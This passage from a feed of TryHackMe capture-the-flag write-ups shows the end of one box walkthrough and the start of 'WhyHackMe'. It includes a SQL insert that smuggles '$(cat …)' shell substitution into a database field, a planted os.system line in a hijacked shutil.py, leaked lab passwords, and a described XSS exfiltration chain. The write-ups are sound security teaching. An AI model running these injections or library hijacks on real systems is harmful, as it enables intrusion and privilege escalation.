&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Password correct.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Everything is in proper order. Status Code: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Something is wrong. Status Code: &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Results:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was written to test the Pluck admin password, but &lt;code&gt;lucien&lt;/code&gt; reused the same password for his &lt;strong&gt;system&lt;/strong&gt; account:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su lucien
Password:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;lucien_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege Escalation - lucien to death via &lt;code&gt;subprocess&lt;/code&gt; Command Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; .bash_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.bash_history&lt;/code&gt; leaks lucien's own MySQL password, and shows the exact &lt;code&gt;sudo&lt;/code&gt; invocation he'd already used.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User lucien may run the following commands on ip-10-48-167-123:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;lucien&lt;/code&gt; can run one specific script as &lt;code&gt;death&lt;/code&gt;, no password needed. Can't read the script directly (&lt;code&gt;death&lt;/code&gt;-owned, execute-only for others):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/death/getDreams.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cat: /home/death/getDreams.py: Permission denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ran it as allowed, to see what it does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; death /usr/bin/python3 /home/death/getDreams.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's reading dreamer/dream pairs from a MySQL table and echoing them out. Logged in with lucien's leaked DB password to inspect the table directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; lucien &lt;span class="nt"&gt;-plucien42DBPASSWORD&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mysql&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| library            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

mysql&amp;gt; use library;
Database changed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script clearly builds a shell command from the row data and executes it (the output format &lt;code&gt;dreamer + dream&lt;/code&gt; looks like an &lt;code&gt;echo&lt;/code&gt; built from user-controlled fields). Tested command injection by inserting a row whose &lt;code&gt;dreamer&lt;/code&gt; field is a shell command substitution:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;insert&lt;/span&gt; &lt;span class="k"&gt;into&lt;/span&gt; &lt;span class="n"&gt;dreams&lt;/span&gt; &lt;span class="k"&gt;values&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;"evil"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;"$(cat /home/death/getDreams.py
    "&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nv"&gt;");
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Query OK, 1 row affected (0.01 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; death /usr/bin/python3 /home/death/getDreams.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

evil + import mysql.connector import subprocess # MySQL credentials DB_USER = "death" DB_PASS = "!mementoMORI666!" DB_NAME = "library" def getDreams(): try: connection = mysql.connector.connect( host="localhost", user=DB_USER, password=DB_PASS, database=DB_NAME ) cursor = connection.cursor() query = "SELECT dreamer, dream FROM dreams;" cursor.execute(query) dreams_info = cursor.fetchall() if not dreams_info: print("No dreams found in the database.") else: for dream_info in dreams_info: dreamer, dream = dream_info command = f"echo {dreamer} + {dream}" shell = subprocess.check_output(command, text=True, shell=True) print(shell) except mysql.connector.Error as error: print(f"Error: {error}") finally: cursor.close() connection.close() getDreams()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed: the script builds &lt;code&gt;f"echo {dreamer} + {dream}"&lt;/code&gt; and runs it through &lt;code&gt;subprocess.check_output(..., shell=True)&lt;/code&gt; with &lt;strong&gt;no sanitization&lt;/strong&gt; of the DB-sourced &lt;code&gt;dreamer&lt;/code&gt;/&lt;code&gt;dream&lt;/code&gt; fields. Since it runs as &lt;code&gt;death&lt;/code&gt; (via the &lt;code&gt;sudo&lt;/code&gt; rule), any value we can get into that table is executed as &lt;code&gt;death&lt;/code&gt;. Here it was used purely to &lt;code&gt;cat&lt;/code&gt; the script's own source and leak &lt;code&gt;death&lt;/code&gt;'s DB password (&lt;code&gt;!mementoMORI666!&lt;/code&gt;) - the same injection primitive could equally be used to spawn a shell as &lt;code&gt;death&lt;/code&gt; directly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;su death
Password:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;death@ip-10-48-167-123:/home/lucien$ whoami
death
death@ip-10-48-167-123:/home/lucien$ id
uid=1001(death) gid=1001(death) groups=1001(death)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ~ &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cat &lt;/span&gt;death_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Privilege Escalation - death to root via &lt;code&gt;shutil.py&lt;/code&gt; Library Hijack
&lt;/h2&gt;

&lt;p&gt;Looked around &lt;code&gt;morpheus&lt;/code&gt;'s home for anything death has access to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /home/morpheus &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
-rw-rw---- 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;restore.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;shutil&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;copy2&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;backup&lt;/span&gt;

&lt;span class="n"&gt;src_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/home/morpheus/kingdom&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;dst_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/kingdom_backup/kingdom&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nf"&gt;backup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst_file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;The kingdom backup has been done!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/kingdom_backup&lt;/code&gt; is &lt;code&gt;root:saviors&lt;/code&gt; and &lt;code&gt;death&lt;/code&gt; isn't in that group, so running this manually just fails:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 restore.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Traceback (most recent call last):
  File "restore.py", line 6, in &amp;lt;module&amp;gt;
    backup(src_file, dst_file)
  File "/usr/lib/python3.8/shutil.py", line 438, in copy2
    copyfile(src, dst, follow_symlinks=follow_symlinks)
  File "/usr/lib/python3.8/shutil.py", line 267, in copyfile
    with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
PermissionError: [Errno 13] Permission denied: '/kingdom_backup/kingdom'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But the interesting part is &lt;em&gt;what&lt;/em&gt; &lt;code&gt;restore.py&lt;/code&gt; imports it from - checked the permissions on the actual system &lt;code&gt;shutil.py&lt;/code&gt; module:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'shutil.py'&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/lib/python3.8/shutil.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rw-rw-r-- 1 root death 51474 Mar 18  2025 /usr/lib/python3.8/shutil.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Group-owned by &lt;code&gt;death&lt;/code&gt;, group-writable. Since &lt;strong&gt;any&lt;/strong&gt; Python process on the box that does &lt;code&gt;import shutil&lt;/code&gt; (or &lt;code&gt;from shutil import ...&lt;/code&gt;, as &lt;code&gt;restore.py&lt;/code&gt; does) will load and execute this file, and something on the box appears to run &lt;code&gt;restore.py&lt;/code&gt; periodically/as root (implied by the box's "kingdom backup" premise and the &lt;code&gt;root:saviors&lt;/code&gt;-owned destination directory), planting code here gets it executed with whatever privileges that scheduled/triggering process has.&lt;/p&gt;

&lt;p&gt;Edited the module directly and added a line at the top (after the existing imports) to make the target flag world-readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano /usr/lib/python3.8/shutil.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# added near the top of shutil.py, after imports:
&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;chmod 777 /home/morpheus/morpheus_flag.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After giving it a little time for the backup job/cron to trigger a fresh &lt;code&gt;import shutil&lt;/code&gt; as root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/morpheus/morpheus_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-rwxrwxrwx 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Permissions flipped to &lt;code&gt;777&lt;/code&gt; - confirming the injected line executed with enough privilege to override &lt;code&gt;morpheus&lt;/code&gt;'s own restrictive permissions. (An earlier, more direct attempt - copying a SUID root bash binary to &lt;code&gt;/tmp/rootbash&lt;/code&gt; from within the hijacked module - also worked opportunistically once, evidenced by a stray &lt;code&gt;-rwsrwsrwx&lt;/code&gt; binary appearing in &lt;code&gt;/tmp&lt;/code&gt;, but wasn't reliably reproducible since the target file kept coming back "busy" while in use; the &lt;code&gt;chmod&lt;/code&gt;-the-flag approach was the clean, repeatable path.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /home/morpheus/morpheus_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Directory listing enabled on &lt;code&gt;/app/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Apache config&lt;/td&gt;
&lt;td&gt;Discloses Pluck CMS version/path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak Pluck CMS admin password (&lt;code&gt;password&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/app/pluck-4.7.13/login.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Trivial brute force with hydra + rockyou&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;CVE-2020-29607 - &lt;code&gt;.phar&lt;/code&gt; extension bypass on file upload&lt;/td&gt;
&lt;td&gt;Pluck CMS 4.7.13 admin file manager&lt;/td&gt;
&lt;td&gt;Authenticated RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Password reuse between app-testing script and system account&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/opt/test.py&lt;/code&gt; (lucien)&lt;/td&gt;
&lt;td&gt;Lateral movement &lt;code&gt;www-data&lt;/code&gt; -&amp;gt; &lt;code&gt;lucien&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;subprocess.check_output(..., shell=True)&lt;/code&gt; on unsanitized DB fields&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;getDreams.py&lt;/code&gt; (run via &lt;code&gt;sudo&lt;/code&gt; as &lt;code&gt;death&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Command injection via MySQL row content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Group-writable core Python stdlib module (&lt;code&gt;shutil.py&lt;/code&gt;) imported by a root-run job&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/lib/python3.8/shutil.py&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full root code execution via library hijack&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Lessons / Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never reuse application-level credentials (CMS admin passwords, API keys) as system account passwords.&lt;/strong&gt; &lt;code&gt;lucien&lt;/code&gt;'s system password being identical to a hardcoded Pluck test password was the entire bridge from &lt;code&gt;www-data&lt;/code&gt; to a real user.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;subprocess(..., shell=True)&lt;/code&gt; with any attacker-influenced input - even data pulled from "your own" database - is a command injection waiting to happen.&lt;/strong&gt; If the data crosses a trust boundary (user-submitted content, another service, etc.) before landing in the DB, treat it as untrusted when building shell commands from it later.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File/group permissions on interpreter standard-library paths matter.&lt;/strong&gt; A &lt;code&gt;group-writable /usr/lib/python3.8/shutil.py&lt;/code&gt; is effectively a root backdoor for anyone in that group, since practically everything on the system imports it eventually.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restrictive &lt;code&gt;sudo&lt;/code&gt; rules aren't a substitute for input validation in the target script.&lt;/strong&gt; Locking &lt;code&gt;lucien&lt;/code&gt; to one specific script didn't help once that script itself was exploitable.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : WhyHackMe writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 10 Aug 2026 15:29:58 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-whyhackme-writeup-575j</link>
      <guid>https://dev.to/exploitnotes/tryhackme-whyhackme-writeup-575j</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;WhyHackMe&lt;/code&gt; is an medium Linux box that chains a handful of low-friction bugs into root. Anonymous FTP leaks a hint pointing at a &lt;code&gt;pass.txt&lt;/code&gt; file that's only reachable from &lt;code&gt;localhost&lt;/code&gt;. The blog application on port 80 stores comments (including the &lt;em&gt;username&lt;/em&gt; field) without sanitization and replays them to an admin bot, giving a blind stored XSS primitive. That primitive is used to make the admin's browser (which &lt;em&gt;can&lt;/em&gt; reach &lt;code&gt;127.0.0.1&lt;/code&gt;) fetch the localhost-only credentials file and exfiltrate it to an attacker-controlled listener, yielding SSH creds for &lt;code&gt;jack&lt;/code&gt;. A misconfigured &lt;code&gt;sudo&lt;/code&gt; rule lets &lt;code&gt;jack&lt;/code&gt; run &lt;code&gt;iptables&lt;/code&gt; as root, which is abused to drop a firewall rule blocking an unusual high port (&lt;code&gt;41312&lt;/code&gt;) that turns out to be a TLS-wrapped Apache vhost. A packet capture left on the box for "help" contains the plaintext session from before it was firewalled off, revealing a hidden CGI backdoor (&lt;code&gt;5UP3r53Cr37.py&lt;/code&gt;) along with its symmetric encryption key/IV. Replaying that request with a command-execution payload gives code execution as &lt;code&gt;www-data&lt;/code&gt;, who turns out to have blanket passwordless &lt;code&gt;sudo&lt;/code&gt;, for an instant path to root.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Anonymous FTP → hint file (localhost-only secret path)
   ↓
Stored/Blind XSS in blog username field → admin bot triggers it
   ↓
XSS payload: fetch() localhost-only pass.txt → exfil via attacker HTTP listener
   ↓
Leaked creds → SSH as jack
   ↓
sudo iptables (NOPASSWD) → flush firewall rules blocking port 41312
   ↓
/opt/capture.pcap analysis (tshark) → recovers CGI backdoor path + AES key/IV
   ↓
Replay request to encrypted CGI webshell → RCE as www-data
   ↓
www-data has sudo NOPASSWD: ALL → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             318 Mar 14  2023 update.txt
&lt;/span&gt;&lt;span class="gp"&gt;22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-title: Welcome!!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anonymous FTP allowed, and there's a file sitting in the root, &lt;code&gt;update.txt&lt;/code&gt;. Grabbed it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ftp &amp;lt;MACHINE_IP&amp;gt; 21
Name &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE_IP&amp;gt;:kali&lt;span class="o"&gt;)&lt;/span&gt;: anonymous
Password:
230 Login successful.
ftp&amp;gt; get update.txt
226 Transfer complete.
ftp&amp;gt; ^D
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;update.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
- admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



